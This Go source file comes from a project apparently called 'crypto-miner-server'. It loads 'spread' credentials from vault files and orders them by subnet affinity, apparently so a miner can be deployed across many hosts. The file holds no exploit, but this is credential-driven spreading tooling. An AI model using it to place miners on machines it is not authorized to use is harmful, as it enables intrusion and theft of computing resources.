package main import ( "crypto/sha256" "encoding/hex" "encoding/json" "fmt" "os" "path/filepath" "strings" dbpkg "crypto-miner-server/internal/db" ) const deploymentCredsDir = "deployment-creds" // DeploymentCredProfile is an operator-authorized spread credential (owned/lab infra only). // Password material lives in the vault file referenced by VaultRef — never in config.json logs. type DeploymentCredProfile struct { ID string `json:"id"` Label string `json:"label"` Username string `json:"username"` VaultRef string `json:"vault_ref,omitempty"` } type deploymentCredVault struct { Password string `json:"password"` } // EnsureCredProfileID assigns a stable hash ref when the operator omits id. func EnsureCredProfileID(p *DeploymentCredProfile) { if p == nil { return } if strings.TrimSpace(p.ID) != "" { p.ID = strings.TrimSpace(p.ID) return } sum := sha256.Sum256([]byte(strings.TrimSpace(p.Label) + "|" + strings.TrimSpace(p.Username) + "|" + strings.TrimSpace(p.VaultRef))) p.ID = hex.EncodeToString(sum[:8]) } func defaultVaultRef(profileID string) string { return filepath.ToSlash(filepath.Join(deploymentCredsDir, profileID+".vault")) } // ResolveCredVaultPath returns the on-disk vault path for a profile (0600 file). func (c *Config) ResolveCredVaultPath(p DeploymentCredProfile) string { ref := strings.TrimSpace(p.VaultRef) if ref == "" { ref = defaultVaultRef(p.ID) } ref = filepath.Clean(ref) if strings.HasPrefix(ref, "..") || filepath.IsAbs(ref) { ref = defaultVaultRef(p.ID) } return filepath.Join(c.DataDir, ref) } // LoadDeploymentCredPassword reads the vault secret for an authorized profile. func (c *Config) LoadDeploymentCredPassword(profileID string) (username, password string, err error) { if c == nil { return "", "", fmt.Errorf("config unavailable") } profileID = strings.TrimSpace(profileID) for _, p := range c.DeploymentCredentials { if strings.TrimSpace(p.ID) != profileID { continue } path := c.ResolveCredVaultPath(p) data, readErr := os.ReadFile(path) if readErr != nil { return "", "", fmt.Errorf("vault read %s: %w", p.VaultRef, readErr) } var vault deploymentCredVault if unmarshalErr := json.Unmarshal(data, &vault); unmarshalErr != nil { // Allow plain-text vault files (cloudflared-token pattern). vault.Password = strings.TrimSpace(string(data)) } pw := strings.TrimSpace(vault.Password) if pw == "" { return "", "", fmt.Errorf("vault empty for profile %s", profileID) } return strings.TrimSpace(p.Username), pw, nil } return "", "", fmt.Errorf("deployment credential profile not found: %s", profileID) } // OrderDeploymentCredProfiles returns profiles with subnet affinity winners first. func (c *Config) OrderDeploymentCredProfiles(affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile { if c == nil || len(c.DeploymentCredentials) == 0 { return nil } seen := make(map[string]bool) var ordered []DeploymentCredProfile for _, row := range affinity { for _, p := range c.DeploymentCredentials { if p.ID == row.CredentialProfileID && !seen[p.ID] { ordered = append(ordered, p) seen[p.ID] = true break } } } for _, p := range c.DeploymentCredentials { EnsureCredProfileID(&p) if !seen[p.ID] { ordered = append(ordered, p) seen[p.ID] = true } } return ordered }